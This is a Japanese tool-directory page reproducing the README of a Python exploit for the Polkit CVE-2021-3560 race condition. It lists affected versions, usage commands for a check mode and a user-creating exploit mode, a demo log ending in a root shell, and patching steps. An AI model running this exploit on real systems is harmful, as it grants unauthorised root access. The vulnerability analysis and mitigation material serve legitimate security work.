Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-3560_Polkit — CVE-2021-3560 Polkit ローカル権限昇格の脆弱性のエクスプロイト | Kitploit
ツール/GitHubGitHub/seimupve/cve-2021-3560_polkit
特権昇格脆弱性分析エクスプロイトペネトレーションテスト学習と教育バイナリエクスプロイトラボと実践
GitHubseimupve/cve-2021-3560_polkit

CVE-2021-3560_Polkit

CVE-2021-3560 Polkit ローカル権限昇格の脆弱性のエクスプロイト

リポジトリを見る
711ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-3560 Polkit ローカル権限昇格

        .--.  .-"     "-.  .--.
      / .. \/  .-. .-.  \/ .. \
     | |  '|  /   Y   \  |'  | |
     | \   \  \ 0 | 0 /  /   / |
      \ '- ,\.-"`` ``"-./, -' /
       `'-' /_   ^ ^   _\ '-'`
        .--'|  \._   _./  |'--.
      /`    \   \ `~` /   /    `\
     /       '._ '---' _.'       \
    /           '~---~'           \
   /                               \

Linux システム上の PolicyKit (Polkit) に影響を与える CVE-2021-3560 脆弱性の自動エクスプロイトです。

⚠️ 警告: このツールは、管理されたラボ環境での教育およびサイバーセキュリティトレーニング目的のみを意図しています。所有していないシステムでこのエクスプロイトを許可なく使用することは違法です。

📋 目次

  • 脆弱性について
  • 脆弱なシステム
  • 機能
  • 前提条件
  • インストール
  • 使用方法
  • 仕組み
  • デモンストレーション
  • 緩和策
  • 参考資料

🔍 脆弱性について

CVE-2021-3560 は、PolicyKit (polkit) のローカル競合状態の脆弱性で、権限のないユーザーが脆弱な Linux システム上で root 権限を取得することを可能にします。

技術的詳細

  • CVE ID: CVE-2021-3560
  • 重大度: 高 (CVSS 7.8)
  • タイプ: 競合状態 / Time-of-Check Time-of-Use (TOCTOU)
  • 影響: ローカル権限昇格 (LPE)
  • 開示日: 2021年6月

影響を受けるバージョン

この脆弱性は、バージョン番号の異なる2つの Polkit ブランチに影響します。

アップストリーム (公式バージョン)

  • 脆弱: 0.113 から 0.118
  • バグ導入: コミット bfa5036 (バージョン 0.113)
  • 修正: バージョン 0.119 以降

Debian/Ubuntu フォーク

  • 脆弱: 0.105-26 以降 (0.118 まで)
  • バグ導入: コミット f81d021 (バージョン 0.105-26)
  • 脆弱ではない: Debian 10 "buster" (0.105-25)

💻 脆弱なシステム

ディストリビューションPolkit バージョン脆弱性あり?
Ubuntu 20.040.105-26ubuntu1✅ はい
Ubuntu 18.040.105-20❌ いいえ
Debian testing "bullseye"0.105-31+✅ はい
Debian 10 "buster"0.105-25❌ いいえ
RHEL 80.115-11+✅ はい
RHEL 7< 0.113❌ いいえ
Fedora 21+0.113+✅ はい
Fedora 20 以前< 0.113❌ いいえ

📝 注意: セキュリティパッチが適用されたシステム (例: ubuntu1.1, deb10u1) は脆弱ではありません。

✨ 機能

  • ✅ 複数のディストリビューションに対する脆弱性の自動検出
  • ✅ マルチOS対応: Debian, Ubuntu, RHEL, CentOS, Fedora, Arch Linux
  • ✅ 必要なツールの依存関係確認
  • ✅ チェックモード: エクスプロイトなしで脆弱性を確認
  • ✅ 適応型タイミング: 最適な競合状態のタイミングを自動測定
  • ✅ プログレスインジケーター: リアルタイムの進行状況表示
  • ✅ カラー出力: 明確で読みやすいインターフェース
  • ✅ 堅牢なエラーハンドリング: 失敗時に明確なメッセージ

📦 前提条件

Python バージョン

  • Python 3.6 以上 (CentOS 8 などの古いシステムでも互換性あり)

システム依存関係

エクスプロイトには以下のツールが必要です (自動確認):

- dbus-send      # D-Bus との通信
- pkexec         # PolicyKit の一部
- id             # ユーザー作成の確認
- openssl        # パスワードハッシュの生成

必要なサービス

- accountsservice  # インストールされ、アクティブである必要があります

🚀 インストール

# リポジトリのクローン (またはファイルのダウンロード)
git clone https://github.com/[your-repo]/CVE-2021-3560_Polkit.git
cd CVE-2021-3560_Polkit

# スクリプトを実行可能に
chmod +x CVE-2021-3560_Polkit.py

📖 使用方法

モード1: 脆弱性チェック (--check)

システムが脆弱かどうかをエクスプロイトを実行せずに確認:

python3 CVE-2021-3560_Polkit.py --check

出力例:

[*] ============================================================
[*] CVE-2021-3560 Polkit Vulnerability Checker
[*] ============================================================
[*] Detecting operating system...
[+] OS: Ubuntu 20.04
[*] Checking required dependencies...
[+] Found: dbus-send
[+] Found: pkexec
[+] Found: id
[+] Found: openssl
[*] Detecting Polkit version...
[+] Polkit version: 0.105-26ubuntu1
[+] ============================================================
[+] SYSTEM APPEARS VULNERABLE!
[+] ============================================================
[*] Debian/Ubuntu fork detected (vulnerable since 0.105-26)

モード2: エクスプロイト

特権ユーザーの作成:

python3 CVE-2021-3560_Polkit.py -u <username> -p <password>

例:

python3 CVE-2021-3560_Polkit.py -u hacker -p Password123!

全オプション

usage: CVE-2021-3560_Polkit.py [-h] [-u USERNAME] [-p PASSWORD] [-c]

options:
  -h, --help            Show help
  -u, --username        Username to create
  -p, --password        Password for new user
  -c, --check           Check vulnerability without exploiting

⚙️ 仕組み

このエクスプロイトは、D-Bus リクエスト処理中の PolicyKit の競合状態を悪用します。

脆弱性の原理

  1. D-Bus リクエスト: ユーザーはユーザー作成の D-Bus リクエストを送信
  2. 認可チェック: Polkit がユーザーに権限があるか確認
  3. 競合状態: 確認中に D-Bus 接続が閉じられると、Polkit は UID を 0 (root) として扱う
  4. ユーザー作成: 昇格した権限でユーザーが作成される

エクスプロイトの手順

┌─────────────────────────────────────────────────────────┐
│ 1. 最適なタイミングの測定                              │
│    └─> テスト実行によりタイミングを調整                 │
├─────────────────────────────────────────────────────────┤
│ 2. エクスプロイト: ユーザー作成                        │
│    └─> D-Bus CreateUser リクエストを送信               │
│    └─> 正確なタイミングでプロセスを強制終了 (競合状態) │
│    └─> ユーザーが作成されたか確認                      │
├─────────────────────────────────────────────────────────┤
│ 3. パスワードハッシュの生成                            │
│    └─> openssl passwd -6 を使用                         │
├─────────────────────────────────────────────────────────┤
│ 4. エクスプロイト: パスワード設定                      │
│    └─> D-Bus SetPassword リクエストを送信               │
│    └─> 正確なタイミングでプロセスを強制終了 (競合状態) │
│    └─> パスワードでログインテスト                      │
├─────────────────────────────────────────────────────────┤
│ 5. 権限昇格                                            │
│    └─> 作成したアカウントでログイン                    │
│    └─> sudo グループのメンバーなら sudo を使用          │
└─────────────────────────────────────────────────────────┘

🎬 デモンストレーション

典型的なエクスプロイトシナリオ

# 1. 脆弱性を確認
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py --check
[+] SYSTEM APPEARS VULNERABLE!

# 2. エクスプロイトを起動
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py -u pwned -p Pwn3d123!

╔═══════════════════════════════════════════════════════════╗
║       CVE-2021-3560 Polkit Privilege Escalation          ║
╚═══════════════════════════════════════════════════════════╝

[*] Creating user 'pwned' using race condition timing attack...
[*] Measuring command execution time...
[*] Command takes ~0.045s, using 0.023s timing
[*] Attempting race condition exploit, please wait...
[+] User 'pwned' created successfully! UID: 1001
[*] User is member of groups: 1001(pwned) 27(sudo)
[*] Generating password hash...
[+] Password hash generated
[*] Setting password for user 'pwned'...
[+] Password set successfully!

╔═══════════════════════════════════════════════════════════╗
║                  EXPLOIT SUCCESSFUL!                      ║
╚═══════════════════════════════════════════════════════════╝

[+] User 'pwned' created with password 'Pwn3d123!'
[*] User should be member of 'sudo' group for privilege escalation
[*] Switching to user 'pwned'...

# 3. root を取得
pwned@vulnerable:~$ sudo su
root@vulnerable:~# id
uid=0(root) gid=0(root) groups=0(root)

🛡️ 緩和策

システム管理者向け

  1. PolicyKit の更新:

    # Debian/Ubuntu
    sudo apt update && sudo apt upgrade policykit-1
    
    # RHEL/CentOS/Fedora
    sudo yum update polkit
    # または
    sudo dnf update polkit
    
  2. バージョンの確認:

    pkexec --version
    # アップストリームでは >= 0.119、またはパッチ適用済み
    
  3. セキュリティパッチの確認:

    # Debian/Ubuntu
    apt-cache policy policykit-1
    
    # RHEL/CentOS/Fedora
    rpm -q --changelog polkit | grep CVE-2021-3560
    

最低限の安全なバージョン

  • アップストリーム: ≥ 0.119
  • Ubuntu 20.04: 0.105-26ubuntu1.1 以上
  • Debian 11: 0.105-31+deb11u1 以上
  • RHEL 8: polkit-0.115-11.el8_4.1 以上

📚 参考資料

公式記事とドキュメント

ツールをダウンロード